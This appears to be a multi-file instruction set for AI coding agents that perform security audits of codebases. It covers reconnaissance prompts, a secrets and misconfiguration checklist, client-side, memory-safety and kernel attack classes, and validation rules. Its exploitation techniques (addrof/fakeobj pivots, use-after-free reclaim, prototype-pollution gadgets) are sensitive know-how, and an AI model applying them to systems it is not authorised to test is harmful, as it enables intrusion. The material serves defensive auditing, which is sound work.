- Are there any hardcoded passwords, API keys, tokens, or secrets in the source? (grep for `password`, `secret`, `apikey`, `token`, `Bearer`, `-----BEGIN`, common default passwords)
- Are there any TODO/FIXME/HACK/XXX comments that reference security? (`TODO: add auth`, `FIXME: validate input`, `HACK: skip permission check`)
- Is debug mode / dev mode properly gated? Can it be enabled in production via environment variable, query parameter, or header?
- Are there test/example/seed credentials that work in production?
- Is there a `/debug`, `/admin`, `/test`, `/status`, `/health`, `/metrics`, `/env`, `/.env`, `/config` endpoint that's unprotected?
- Are there any `.env`, `.env.local`, `credentials.json`, `*.pem`, `*.key` files checked into the repo?
- Does the `.gitignore` actually cover secrets, uploads, and local config?
- Are dependencies pinned? Are there known CVEs in the dependency tree? (check lockfiles)
- Are there any `eval()`, `exec()`, `child_process`, `Function()`, `vm.runInContext`, `import()` with dynamic input?
- Are CORS headers set to `*` or overly permissive? Is `Access-Control-Allow-Credentials` combined with a wildcard origin?
- Are cookies missing `HttpOnly`, `Secure`, or `SameSite` attributes?
- Are there any open redirects? (parameters named `redirect`, `return`, `next`, `url`, `goto`, `continue` that feed into redirects without validation)
- Is TLS enforced? Are there any HTTP-only endpoints?
- Are error responses in production returning stack traces, internal paths, or SQL errors?
This agent doesn't need to be creative. It needs to be thorough and literal. Check every item. Report what it finds.
IMPORTANT: For any finding this agent reports, it must verify the full code path, not just surface appearance. If a cookie is missing `HttpOnly`, check whether the cookie contains security-sensitive data and whether JS needs to read it by design. If an error message contains a field name, check whether the field is ever actually populated with sensitive data. A flag is not a finding — trace the impact before reporting.
# Client-Side and Browser Hunting
#### When to use this file
Reach for this file when meaningful trust decisions or untrusted rendering happen in the browser: single-page apps, browser extensions, embedded webviews, and anything that renders attacker-influenceable content into the DOM, receives cross-window messages, opens WebSockets, or serves credentialed cross-origin responses. These bugs live in code the server never executes — the fragment after `#`, `window.name`, a `postMessage` payload — so server-side escaping and the classes in `ATTACK-CLASSES.md` don't cover them.
Use alongside `ATTACK-CLASSES.md`. The injection class there covers server-side sinks; this file covers the browser-side source→sink paths, cross-origin trust, and UI-redress classes that only exist client-side.
Pick the relevant classes based on Phase 1. Split per surface (DOM rendering, message/WebSocket handlers, auth-carrying endpoints) for large front-ends.
## Core discipline (include in every agent prompt for this domain)
```
- Client-side taint needs a controllable SOURCE and an executing SINK on the client path. A source with no sink, or a sink fed only server-rendered trusted data, is not a finding. Name both and show untrusted data reaching the sink unsanitized.
- The impact must cross to a victim or cross an origin. XSS in the attacker's own DOM, or a "leak" of the attacker's own data, is not a finding. State whose session executes it or whose cross-origin data it steals.
- Framework auto-escaping is a real mitigation. React/Vue/Angular escape interpolation by default — the finding is where the code opts OUT (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrust*`, `$sce.trustAs*`). Do not report escaped interpolation.
- A missing header or attribute (X-Frame-Options, frame-ancestors, rel=noopener, SameSite) is only a finding with a concrete sensitive action behind it. A bare missing flag with no state-changing action or credentialed cross-origin read is a hardening note.
```
## DOM-based injection attack classes (subagent_type: `general`)
**DOM-based XSS**
Trace client-side sources — `location.hash`/`search`/`href`/`pathname`, `document.referrer`, `window.name`, `postMessage` data, `document.cookie` — into execution sinks: `innerHTML`/`outerHTML`, `document.write`, `eval`, `Function`, `setTimeout`/`setInterval` with a string argument, `element.src`/`href` set to a `javascript:` URI, jQuery `$(...)`/`.html()`, or framework escape hatches (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrustHtml`). The bug is source→sink with no sanitization _on the client path_; server-side escaping never sees fragment or `window.name` data.
**DOM clobbering**
Attacker-injected `id`/`name` attributes — surviving an HTML sanitizer that strips script but allows attributes — that shadow a global the script later reads (`window.config`, a `form.action`, a flag checked before initialization). Look for code reading `window.X`/`document.X` that an injected element named `X` can override. Requires a markup-injection sink that permits `id`/`name`.
## Client-side trust and messaging attack classes (subagent_type: `general`)
**postMessage origin trust**
A `message` handler that acts on `event.data` (writes the DOM, calls a privileged function, stores a token) without checking `event.origin` against an allowlist, or with a weak check (`indexOf`, `startsWith`, unanchored regex, `endsWith` on the host). Also the send side: `postMessage(data, '*')` leaking data to any embedder. Confirm the handler does something security-relevant with the data.
**Cross-site WebSocket hijacking (CSWSH)**
A WebSocket handshake authenticated only by ambient cookies, with no `Origin` check and no per-session CSRF token — an attacker page opens a socket in the victim's authenticated context and reads/writes their data. Find the upgrade handler; check whether it validates `Origin` and binds to a token, not just the cookie.
**CORS with credentials**
A server that reflects the request `Origin` into `Access-Control-Allow-Origin` while sending `Access-Control-Allow-Credentials: true`, or allowlists `null` or a weak suffix match — any origin then reads authenticated responses. The finding is reflection or weak-match _with credentials_, not a wildcard alone (`*` with credentials is rejected by browsers).
## UI-redress and navigation attack classes (subagent_type: `general`)
**Clickjacking**
A state-changing action (transfer, delete, grant, confirm) reachable in a framed page with no `X-Frame-Options: DENY`/`SAMEORIGIN` and no `frame-ancestors` CSP and no UI framebusting. A missing frame guard on a read-only page with no sensitive action is not a finding — require the action.
**Reverse tabnabbing**
A link whose target is attacker-influenceable, opened with `target="_blank"`, letting the opened page rewrite `window.opener.location` to a phishing origin. Modern browsers imply `noopener` for `target="_blank"`, so this is a finding only where the code sets `rel="opener"` explicitly, uses `window.open` without `noopener`, or the threat model includes older browsers — check before reporting.
**Client-side open redirect / navigation**
A navigation built from a client source (`location = params.get('next')`, `location.hash` fed into `location.href`, a router redirect) with no allowlist — including `javascript:`/`data:` schemes that promote the redirect into XSS. Distinct from a server open-redirect: the sink is in JS, so the server never sees it.
## Prototype pollution attack classes (subagent_type: `general`)
**Prototype pollution and gadget chain**
An attacker-controlled key (`__proto__`, `constructor.prototype`) reaching a _nested/recursive_ write — a deep merge, `lodash.set`-style path assignment, `obj[a][b]=v` with an attacker-controlled segment, or a query-string parser that builds nested objects — that lands on `Object.prototype`. A plain `JSON.parse` or shallow `Object.assign` does NOT pollute. Require the recursive sink AND a gadget that reads the polluted property (an options object checked with `opts.isAdmin`, a template reading a config default, a sink that concatenates a polluted `src`). Pollution with no reachable gadget is not exploitable; the gadget is what turns it into XSS, auth bypass, or (in Node) RCE.
## Universal moves (apply across the above)
- **Start from the sink and walk back to a client source.** Grep the execution sinks (`innerHTML`, `eval`, `document.write`, `dangerouslySetInnerHTML`, `postMessage`, `new WebSocket`) and trace each argument back to `location`/`name`/`referrer`/message data. A sink fed only server-rendered trusted data is not a finding.
- **Server escaping ends where the fragment begins.** Data after `#`, plus `window.name` and cross-window messages, never reaches the server — so server-side filters can't see it. That blind spot is the DOM-XSS goldmine.
- **Enumerate the escape hatches.** In an auto-escaping framework, the candidate list _is_ every `dangerouslySetInnerHTML`/`v-html`/`bypassSecurityTrust*`/`$sce.trustAs*` call. Start there.
## Validation rules (apply before reporting ANY finding here)
1. **Confirm a controllable source AND an executing sink on the client path.** Cite the source (`location.hash`, `event.data`, `window.name`) and the sink (`innerHTML`, `eval`, navigation), and show untrusted data reaching the sink without sanitization. A source with no sink, or a sink fed only trusted data, is not a finding.
2. **For prototype pollution, prove the recursive write AND a gadget.** Show the nested/recursive assignment that reaches `Object.prototype`, then the code that later reads the polluted property to a security-relevant effect. Pollution with no reachable gadget is not exploitable.
3. **For messaging / CORS / WebSocket, show the origin check is absent or weak.** Cite the handler and the missing or `indexOf`/`startsWith`/unanchored-regex origin check, and that the data drives a security-relevant action or a credentialed cross-origin read. Reflection plus credentials, not a bare wildcard.
4. **For UI-redress, require the sensitive action behind the missing guard.** Name the state-changing action that gets framed (clickjacking) or the attacker-controlled `_blank` link (tabnabbing). A missing `X-Frame-Options`/`rel=noopener` with nothing sensitive behind it is a hardening note — and framebusting, `frame-ancestors`, or the browser's `noopener` default may already defeat it. Check before reporting.
5. **Return ONLY confirmed findings** with the client source→sink path and whose session it fires in — or "No exploitable client-side issues found" if that's honest.
# Vulnerability Hunting
### Phase 2: Hunt for vulnerabilities
Launch **multiple `general` agents in parallel** via the Task tool. Use `general`, not `research` — general agents can spawn their own sub-agents via the Task tool, so when a hunter finds a rabbit hole that needs deeper investigation (e.g., tracing injection into an auth subsystem it doesn't fully understand), it can spin up a focused `research` sub-agent rather than trying to do everything in one context window.
Each agent gets the architecture summary from Phase 1 injected into its prompt plus the hunting methodology and validation rules. Launch them in a single message so they run concurrently.
**How many agents?** Use Phase 1 to decide. More focused agents produce better results than broad ones that run out of context. For a small library, 3-4 agents may suffice. For a large application with distinct subsystems, launch 8-12+ — split by attack class AND by subsystem. If Phase 1 revealed an auth system, a plugin system, a media pipeline, and a comment engine, each of those could warrant its own injection agent, its own logic agent, etc.
Every agent prompt MUST include:
1. The architecture summary from Phase 1 (copy it in verbatim)
2. The specific attack class and scope to investigate
3. Relevant file paths from Phase 1 as starting points
4. The hunting methodology (below)
5. The validation rules (below)
#### Hunting methodology — include in every Phase 2 agent prompt
Tell each agent to think like an attacker, not a code reviewer:
```
## How to hunt
Don't just check if defenses exist. Try to break them.
READ THE CODE AT DEPTH. Don't stop at the first function. Follow the data through
every layer — from the entry point through validation, transformation, storage, retrieval,
and output. Bugs live in the gaps between layers.
Think about these angles:
1. THE HAPPY PATH IS DEFENDED. ATTACK THE SAD PATH.
Error handlers, fallback branches, catch blocks, default cases, timeout paths,
retry logic, cleanup routines. What happens when things fail? Are errors handled
with the same rigor as success? Does a failed validation leave state half-modified?
2. WHAT HAPPENS AT BOUNDARIES?
Empty input. Maximum-length input. Null vs undefined vs missing. Zero. Negative numbers.
Unicode edge cases. The first item and the last item. One more than the maximum. Exactly
at the rate limit. The moment a token expires.
3. WHAT DO COMPONENTS ASSUME ABOUT EACH OTHER?
Does the database layer assume the API layer validated input? Does the renderer assume
content was sanitized on write? Does the auth middleware assume routes register themselves
correctly? Find where trust is implicit and test whether it's justified.
4. WHAT IF OPERATIONS HAPPEN IN THE WRONG ORDER?
Call step 3 before step 1. Call delete during create. Send the callback before the request.
Hit the confirmation endpoint without starting the flow. Replay a completed flow.
5. WHAT IF TWO THINGS HAPPEN AT ONCE?
Two requests to the same resource. Modify while reading. Delete while iterating.
Publish while someone else is editing. Two users claiming the same unique resource.
6. WHERE DO TWO PARSERS OR VALIDATORS DISAGREE?
Input accepted by the schema but rejected by the database. URL parsed differently by
the router vs the application code. Content-type header says one thing, body is another.
Filename extension vs MIME type vs magic bytes.
7. WHAT SURVIVES A ROUND TRIP?
Data stored then retrieved — is it the same? Does encoding change? Does escaping
double-up? Is a relative path resolved differently on read vs write? Does serialization
lose type information?
8. WHAT DOES THE CONFIGURATION CONTROL?
What happens when config is missing or default? Can an environment variable override a
security control? Does a feature flag disable validation? What's the security posture
during setup/first-run before config is complete?
9. FOLLOW THE MONEY (OR THE PRIVILEGE).
For every operation that changes state, ask: who authorized this? Trace back to the
permission check. Is it checking the right permission? Is it checking against the right
resource? Is there a parallel path to the same state change that checks differently
or not at all?
10. LOOK FOR LEAKED CONTEXT.
Error messages that reveal internal paths. Stack traces in production. Timing differences
that reveal whether a record exists. Response size differences. HTTP headers that
disclose versions. Debug endpoints that survived into production.
11. WHAT PARAMETERS OVERRIDE SECURITY-RELEVANT DEFAULTS?
Where a default is safe but a user-supplied parameter can change it. Look for
every input that overrides a security-relevant default and check if the override
is gated by appropriate permissions.
12. WHERE DO UNVERIFIED CLAIMS DRIVE TRUST DECISIONS?
Anywhere self-declared identity, capability, or metadata influences an access
or trust decision without independent verification.
GO DEEP, AND PROVE IT. You can spawn sub-agents: if evaluating a candidate finding needs
deep understanding of a subsystem, use the Task tool to launch a research agent instead of
holding everything in one context. And where the code is locally runnable, don't just reason
about it — extract the suspect function into a minimal harness (or build and run the target)
and test the hypothesis directly. A reproduced result beats an argued one.
YOUR SCOPE IS YOUR PRIMARY FOCUS, NOT A BOUNDARY.
If while investigating your assigned area you notice something wrong in a different
category — a permission issue while tracing injection, a race condition while reviewing
auth — report it. Don't ignore a bug because it's "not your area." Attackers don't
respect category boundaries.
## Validation rules — apply before reporting ANY finding
1. You MUST construct a concrete attack (exact inputs, requests, or action sequence)
2. The attack MUST achieve meaningful impact (not just "learn field names" or "cause an error")
3. Check if another layer already prevents exploitation — if so, it's a hardening note, not a finding
4. If the baseline comparable has the same pattern, note whether it's been exploited there
5. If your exploit depends on parser/runtime behavior, verify against the relevant spec or implementation — do not reason from intuition.
6. Return ONLY confirmed findings with concrete attacks, or "No exploitable vulnerabilities found" if that's honest.
```
# Memory Safety, Binary, and Kernel Hunting
#### When to use this file
The attack classes in `ATTACK-CLASSES.md` are tuned for web apps, APIs, and services. Reach for _this_ file when the target processes untrusted bytes in a memory-unsafe context: C/C++/Objective-C, Rust `unsafe`, kernel modules and drivers, parsers and decoders (image/video/font/archive/PDB), reverse-engineering and dev tooling, network daemons, firmware, and language runtimes/JITs. These targets fail differently from web apps — the bug is a memory corruption or a logic error in privileged code, not an injection or an access-control gap — so the hunt needs a different lens.
Pick the relevant classes based on Phase 1. Split per subsystem for large targets.
## Core discipline (include in every agent prompt for this domain)
```
- A buffer sized for the common case can still overflow on adversarial input. Verify every "this length is bounded" claim against the WORST case, not the happy path.
- "Huge count = guaranteed crash" is FALSE. An oversized copy length is size- and libc-dependent: it often faults, but the copy primitive can also wrap or land a short, scattered write first. Determine the actual write behavior before downgrading to DoS-only.
- Static offsets are a guess; the crash dump is truth. An unreproduced bug is not a bug — if you claim exploitability, say exactly which input reaches which sink and what the observable result is.
- Sanitizer silence ≠ safety where the deref is outside instrumented code (hand-written asm, JIT-emitted, intra-allocation). Don't trust a clean ASan run for those.
```
## Memory-safety attack classes (subagent_type: `general`)
**Spatial: out-of-bounds read/write**
- **Length subtraction underflow** — a copy/loop bound is `a - b` (`uri.len - prefix`, `total - consumed`) where the attacker can make `b > a`. Negative → casts to ~SIZE_MAX. Map which bytes land where; don't assume "just a crash."
- **Operator-precedence / multi-term length errors** — an unparenthesized `+`/`-` length chain (`endp - begin + consume`) that silently over-adds when one term is attacker-sized. Audit each CALLER's value of the variable term — the common caller is often correct-by-accident on the zero path and survives testing.
- **`sizeof(*p)` vs `sizeof(element)` pointer-depth confusion** — an allocation/copy size computed one indirection too deep (`gid_t **``sizeof(*p)`=8 not 4). The bounds check passes because it uses the same wrong unit. Compiled tell: `shl $0x3` where `shl $0x2` was meant.
- **Wire-length into fixed stack buffer** — a function rebuilds a network/user blob into a fixed array using an attacker length field, with the bounds check missing/late or computed on the wrong headroom (a header pre-written into the buffer). Re-derive true headroom (size minus fixed prefix); confirm no guard precedes the copy.
**Temporal: use-after-free / lifetime**
- **Embedded waiter-anchor freed without draining** — a struct embeds a list head (`selinfo`/`knlist`/timer/knote) reachable by unprivileged poll/select/kqueue, and a free path destroys it but skips the drain a wakeup path does. For every `selrecord(&obj->x)`, require a matching drain on EACH path that can free `obj`.
- **Cached raw pointer + reallocating owner** — a view caches `base+offset`, a grow/realloc path moves the backing store, and the invalidation walks only the _current_ wrapper's view set while grow _replaces_ the wrapper. The original view dangles.
**Type confusion**
- **Read-and-write confusion → addrof/fakeobj** — a confusion that reads a pointer slot as a scalar (addrof) and writes a scalar into a pointer slot (fakeobj). The standard pivot of runtime/JIT exploitation; the prior art is about the PROBLEM CLASS (NaN-boxing, cached typed-array data pointer), not the specific target.
- **Hierarchical-walker leaf check skipped** — a page-table / nested / B-tree / extent walker checks the valid bit but not the leaf/size bit at level N, then descends treating an attacker-owned leaf as an interior node.
**Value: uninitialized & oracle**
- **Uninitialized worst-case buffer + observable compare = read oracle** — a buffer sized to a MAX constant is partially written, then compared against attacker bytes with an attacker-controlled compare length where match/no-match is observable. No memory-disclosure bug needed; the gap between actual output and MAX-size is the leak window. Brute one byte/connection, hint the structural bits, parallelize.
## Kernel & privileged-interface attack classes (subagent_type: `general`)
- **User-copy bounds + double-fetch (TOCTOU)** — a syscall/ioctl/Mach-trap entry whose user-copy primitive (`copyin` / `copy_from_user`) brings attacker memory in, then re-reads the SAME user address after a check. Any fact derived from concurrently-mutable user memory and trusted on a later pass is a double-fetch even when each op is individually correct.
- **Object lifecycle / UAF (IOKit/OSObject and friends)** — unbalanced retain/release on an externally-reachable object; a method that releases on one path but a sibling dispatch (compat/fallback/ptrace) forgot it. Diff the duplicated dispatch paths.
- **Unchecked downcast / type confusion**`OSDynamicCast` (or any tagged-union cast) whose result is used without a null check, or a selector/index into a dispatch table without a bounds check.
- **World-writable / under-permissioned powerful interface** — a device node, admin socket, or mgmt API exposed more broadly than its power, that validates the request SHAPE (index in range) but never the requester's AUTHORITY over the named resource. Danger = power × reachability; enumerate the surface reachable from the _actual_ untrusted context first.
- **Validate-then-act-on-stale-state** — a fast path and a compat/ptrace/fallback path to the same operation where one copy forgot a guard the other performs.
## Universal moves (apply across the above)
- **Audit the incomplete fix.** A targeted patch is a high-signal pointer to a dangerous sink with the analysis already done. Read the diff → find the exact sink it hardened → scan the same function, parallel paths, and alternate callers for the SAME tainted-data-to-sink shape the patch missed. Incomplete fixes are their own bug class.
- **Trust asymmetry between two ends of a protocol.** A filter/verification/size-cap installed on one side of a connection but missing on the symmetric call on the other. Find the protective call → grep its mirror on the opposite role → if absent, the earliest unprotected pre-auth parse is the prize. A malicious server/MITM is a real attacker.
- **Chain a weak primitive.** A blocked path means you haven't found the right pivot, not that it's unexploitable. Always ask "what does this actually let me do, and what runs automatically once I can put bytes on disk?" (plugin dirs, autoload, `.git/hooks`, `conftest.py`).
- **Hunt where the crowd isn't.** The tools researchers themselves trust — debuggers, disassemblers, scanners, dev tooling — are under-audited and high-impact. Old code and obscure formats are gold.
## Validation rules (apply before reporting ANY finding here)
1. **Build a debuggable target first.** Wire in crash dumps + a debugger before you claim exploitability. You can't iterate on what you can't observe.
2. **Read the offset from the crash, not the disassembly.** Send a cyclic (De Bruijn) pattern; the faulting register values give the exact offset. A variable-length prefix (handle, optional field, padding) shifts the geometry off the static prediction.
3. **Prove a UAF by reclaim-and-compare** when the sanitizer is blind (asm/JIT/intra-allocation): trigger the dangling view, reclaim the freed region with a size-matched content-controlled allocation, write through the dangler, read the reclaimer back — aliasing either way proves it.
4. **Distinguish crash from exploitable.** For an OOB write, map which bytes land where and whether a security-relevant field is reachable; for a "huge count," prove the bounded-write case before calling it DoS-only.
5. **Return ONLY confirmed findings** with the exact input → sink path and the observable result, or "No exploitable memory-safety issues found" if that's honest.
# Reconnaissance
### Phase 1: Understand the application
Before looking for bugs, understand what you're auditing. This requires depth, not just a directory listing. Launch **multiple `research` agents in parallel** to map different aspects of the codebase:
**Agent 1a: Overview, tech stack, and comparable baseline**
```
Explore the codebase at <path>. Answer:
1. What is this application? What kind of software? (web app, API, CLI tool, library, daemon, desktop app, mobile backend, etc.)
2. Who uses it and how? (end users, developers, operators, other services)
3. What's the tech stack? (languages, frameworks, databases, runtime, deployment model)
4. What comparable mainstream software exists? What security tradeoffs does the comparable accept?
5. What's the high-level directory structure?
Return specific file paths for key entry points.
```
**Agent 1b: Trust boundaries and access control**
```
Explore the codebase at <path>. Find and read ALL code related to:
1. Trust boundaries — where does untrusted input enter the system? (HTTP requests, CLI args, file reads, IPC, message queues, environment variables, config files, etc.)
2. Authentication — how do callers prove identity? (sessions, tokens, API keys, mTLS, Unix sockets, etc.) If there's no authentication, note that.
3. Authorization — how are permissions enforced? (middleware, decorators, capability checks, file permissions, etc.) If there's no authorization model, note that.
4. Privilege separation — does the code run as root? Drop privileges? Use sandboxing? Fork workers?
5. Any bypass mechanisms (dev-only modes, test helpers, setup flows, debug flags)
Return the trust model: who are the actors, what can each do by design, and which code enforces it. Include specific file paths and line numbers.
```
**Agent 1c: Input surface inventory**
```
Explore the codebase at <path>. Produce a complete inventory of where external input enters the system:
1. Network-facing surfaces (HTTP endpoints, gRPC services, WebSocket handlers, TCP/UDP listeners, etc.) — list each with method/verb and purpose
2. File-based input (file uploads, config file parsing, log ingestion, import/export, etc.)
3. IPC and inter-service input (message queues, shared memory, Unix sockets, environment variables, CLI arguments)
4. User-generated content surfaces (anywhere users provide content that is stored and later rendered, served, or processed)
5. External integrations (OAuth, webhooks, third-party APIs, plugin loading, dynamic code execution)
6. All places where input reaches dangerous sinks (SQL/query builders, HTML/template output, file paths, shell commands, deserialization, eval, dynamic imports)
Return specific file paths. Be exhaustive.
```
Collect all three agents' outputs and synthesize them into `<output-dir>/architecture.md`:
- 1-2 page structured summary covering application type, tech stack, trust model, input surfaces, and baseline comparable
- Include the key file paths from all agents — these become the starting points for Phase 2
- This document is injected verbatim into every Phase 2 agent prompt
If Phase 1 agents reveal the codebase is larger or more complex than expected (e.g., plugin system, multi-tenant architecture, complex auth chains, multiple deployment targets), launch additional `research` agents to map those areas before proceeding. The quality of Phase 2 depends entirely on the quality of Phase 1.
---
name: security-audit
description: Security audit of a codebase — web apps, APIs, services, CLI tools, libraries, daemons, and more. Use when asked to find security bugs, do a security review, audit for vulnerabilities, or pen-test the code. Focuses on exploitable issues with real impact, not theoretical concerns or industry-standard behavior.
---
# Security Audit
You are a security auditor. Your job is to find **exploitable vulnerabilities with real impact**.
## Platform terminology
This skill is agent-neutral. In the methodology:
- **Task tool** means the coding agent's delegation or sub-agent mechanism.
- **`research` agent** means a delegated agent optimized for focused codebase exploration and factual verification.
- **`general` agent** means a delegated agent that can investigate broadly and spawn focused research agents.
- **`subagent_type`** means the equivalent delegated-agent role supported by the current platform.
Use the platform's equivalent capabilities while preserving the specified roles, parallelism, prompts, and independence boundaries.
## Setup
Before starting, establish two paths:
- **Target**: the codebase to audit (from the user's request or the current working directory)
- **Output directory**: where all audit artifacts go. Ask the user if not specified, or default to `~/security-audit-skill/<repo-name>/run-<N>` where `<N>` is the next unused integer (check what exists with `ls`). Create it if it doesn't exist. This ensures multiple runs against the same repo produce separate results.
All files written during the audit go in the output directory:
- `architecture.md` — Phase 1 output, fed into Phase 2 agent prompts
- `REPORT.md` — human-readable report (Phase 4)
- `FINDINGS-DETAIL.md` — detailed data flows for MEDIUM+ findings (Phase 4)
- `findings.json` — machine-readable structured output (Phase 5)
Subagents (Phases 1, 2, 3, 6) do NOT write files — they return results to you via the Task tool. You are responsible for writing all files to the output directory.
### Coverage and prior runs
Each audit run explores different code paths depending on which agents find what and where they dig. No single run finds everything. Testing shows the best single run finds roughly half the total vulnerabilities across multiple runs.
**If prior runs exist** for the same repo (check `~/security-audit-skill/<repo-name>/`), read their `findings.json` files before starting Phase 2. Use them to:
1. **Skip known findings** — don't waste agents re-discovering the same status bypass. Mention prior findings in the report but focus hunting effort on new ground.
2. **Target gaps** — if prior runs focused heavily on injection and auth, weight this run toward business logic, creative attacks, and the wildcard agent. If prior runs missed public endpoints, focus there.
3. **Resolve disagreements** — if prior runs gave conflicting verdicts on the same finding, validate it definitively.
Include a brief summary of prior runs in the architecture summary so Phase 2 agents know what's already been found.
**If no prior runs exist**, note in the report that coverage improves with additional runs and recommend the user run the audit again to catch findings this run may have missed.
## Core Principles
### Only report what you can exploit
Every finding must have a concrete attack scenario: who is the attacker, what do they do, and what do they get? "An attacker could theoretically..." is not a finding. "Send this request, get this result" is.
### Confirm dynamically when you can
This is a source-first audit, but a claim you can execute beats one you can only argue. Where the target is locally buildable — a parser, a library, a CLI, a native component — build and run it: reproduce the crash, run the payload, diff the two parsers on the same bytes. Better still, **extract the suspect code into a minimal standalone harness** and test the hypothesis in isolation — fuzz the one function, feed it the crafted input, watch what it does. Where confirmation needs infrastructure you don't have — a proxy chain, a live cache, production auth — you cannot confirm from source alone: mark it "requires deployment testing" and do not report it as confirmed. Dynamic evidence is what resolves the memory-safety and request-framing classes that static reading leaves ambiguous.
### Determine the baseline dynamically
In Phase 1, identify what this application is and what comparable applications exist. Use those comparables to calibrate -- not to dismiss findings, but to focus effort. If the comparable has the same pattern and it's been exploited there, that's a STRONGER finding, not a weaker one. If the comparable has the same pattern and nobody's ever exploited it in 20 years, you should understand why before reporting it.
Do NOT hardcode a specific comparable. A CMS gets compared to other CMSes. An API gateway gets compared to other API gateways. A novel application may have no meaningful comparable.
### Defense-in-depth gaps are not vulnerabilities
If Layer A prevents the attack, the absence of Layer B is a hardening note, not a finding. Report it separately if you want, but do not inflate its severity.
### Severity requires impact
Severity is the combination of **likelihood** (how easy to exploit, what access is needed) and **impact** (what damage is achieved). Use both axes:
- **CRITICAL**: Unauthenticated RCE, full database dump, admin account takeover without credentials
- **HIGH**: Authenticated RCE, SQL injection with data exfiltration, stored XSS that fires for all users, auth bypass. Also: any finding where the RBAC/permission model is _completely_ defeated for an action — e.g., a user can perform an action that the system explicitly gates behind a higher role, and the action has real consequences (publishing content, deleting resources, modifying other users' data).
- **MEDIUM**: Targeted XSS requiring specific conditions, CSRF with meaningful state change, information disclosure of secrets/credentials. Also: business logic bypasses with real but limited consequences — e.g., the action is possible but requires authentication, or the impact is confined to the attacker's own data, or the bypass requires uncommon conditions.
- **LOW**: Information disclosure of non-secret data, DoS requiring sustained effort
- **INFORMATIONAL**: A confirmed but minimal-impact observation with no standalone exploit — useful mainly as a building block for another finding. Pure defense-in-depth gaps belong in hardening notes, not here.
The key distinction between HIGH and MEDIUM for business logic findings: **does the finding defeat an explicit security boundary?** Defeating one — acting past a role the system explicitly enforces — is HIGH; a data inconsistency, a finding that requires privileged access to exploit, or one with limited blast radius is MEDIUM.
If you cannot describe the concrete damage an attacker achieves, the severity is probably lower than you think.
These principles are enforced operationally by the **validation rules in [HUNTING.md](HUNTING.md)** — the canonical bar every hunter applies before reporting a finding, and that Phase 3 re-applies adversarially. The domain companion files add domain-specific checks on top of that bar; they do not replace it.
## Workflow overview
Follow all six phases in order:
1. **Recon** — Run Phase 1 from [RECONNAISSANCE.md](RECONNAISSANCE.md) to map the application's architecture, trust boundaries, and input surfaces.
2. **Hunt** — Use [HUNTING.md](HUNTING.md) for Phase 2 orchestration, methodology, and validation rules; select scopes from [ATTACK-CLASSES.md](ATTACK-CLASSES.md), which routes native, AI/LLM, HTTP-protocol/auth, and client-side targets to specialized companion files ([MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md), [AI-AND-LLM.md](AI-AND-LLM.md), [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md), [CLIENT-SIDE.md](CLIENT-SIDE.md)).
3. **Validate** — Use Phase 3 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to consolidate duplicates and independently try to disprove every finding.
4. **Report** — Use Phase 4 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to write `REPORT.md` and `FINDINGS-DETAIL.md`.
5. **Structured output** — Use Phase 5 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md), `report-schema.json`, and `validate-findings.cjs` to write and validate `findings.json`.
6. **Independent verification** — Use Phase 6 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to verify every factual claim and reconcile all outputs.
## Anti-Patterns to Avoid
These are the mistakes that make security audits useless:
1. **Listing everything that deviates from OWASP as a finding.** OWASP is a checklist, not a bug list. Every real application makes tradeoffs.
2. **Rating defense-in-depth gaps as HIGH/CRITICAL.** "Missing validateIdentifier where the query builder already quotes identifiers" is not HIGH severity.
3. **Ignoring the deployment model.** Rate limiting at the CDN layer is a valid architecture. Not every app needs application-level rate limiting.
4. **Treating designed behavior as a bug.** Understand the trust model before auditing. If the design says admins are fully trusted, admin-does-admin-things is not a finding.
5. **Padding the report with LOW findings to look thorough.** Ten LOWs don't make a useful report. Three MEDIUMs do.
6. **"Potential" findings without proof.** Either you can exploit it or you can't. If you need the word "potentially" or "theoretically", you haven't done enough research.
7. **Ignoring what the codebase does well.** If auth is solid, say so. It builds trust in the findings you DO report and helps the team prioritize.
8. **Constructing exploits from incorrect parser/runtime assumptions.** The most convincing false positives come from reasoning "the parser/runtime will interpret this as..." without verifying. If your exploit depends on parser or runtime behavior, cite the spec or test it. Don't assume.
9. **Skipping business logic and creative attacks.** The standard vulnerability classes (SQLi, XSS, SSRF) are what every scanner checks. The value of a manual audit is finding the things scanners can't: logic errors, state machine violations, chained attacks, implicit trust assumptions.
10. **Giving up too easily.** "The codebase uses parameterized queries so there's no SQL injection" is a lazy conclusion. Check EVERY use of sql.raw(). Check dynamic identifiers. Check search/FTS. Check if there's a code path that bypasses the query builder. Push.
# Validation, Reporting, and Verification
### Phase 3: Validate findings
Collect all findings from Phase 2 agents and **consolidate duplicates first**. Phase 2 deliberately overlaps agent scopes, so the same issue is frequently reported by more than one hunter — merge findings that share a root cause before validating, or you'll validate and report the same bug multiple times. For each remaining finding, launch a **separate `research` validation agent** that tries to disprove it. The hunting agents are biased toward finding things; the validation agents are biased toward killing false positives. This adversarial step is critical.
For findings from the same attack surface, batch them into one validation agent. Launch validation agents in parallel where they cover independent areas.
Each validation agent prompt should:
1. State the specific finding being validated (title, claimed attack, claimed impact)
2. Ask the agent to read the exact code paths and verify each step of the trace
3. Ask it to apply these tests (the adversarial, Phase 3 form of the canonical validation rules in [HUNTING.md](HUNTING.md) — here a separate agent tries to make each one fail):
**Validation tests:**
1. **Exploitation test**: Read the actual code at each step of the trace. Does the data flow work as claimed? Can you construct the exact input (HTTP request, CLI invocation, API call, crafted file, etc.) that triggers this?
2. **Impact test**: What does the attacker actually get? If the answer is "they learn field names" or "they cause an error", that's not meaningful impact — not a finding on its own (at most a building block for a chain).
3. **Baseline test**: Does the identified comparable have the same pattern? If yes, has it been exploited? If never exploited in years of production use, understand why before reporting.
4. **Mitigation test**: Is there another layer that prevents exploitation? Check middleware, database constraints, framework defaults.
5. **Parser/runtime behavior test**: If the exploit depends on how a parser or runtime handles specific input, verify against the actual spec or implementation — do not reason from intuition.
Tell each validation agent:
```
Your job is to DISPROVE this finding. Read the actual source code at every step. If you cannot disprove it, confirm it with the exact code that makes it exploitable. Return one of:
- "CONFIRMED: [explanation of why it's real, with code evidence]"
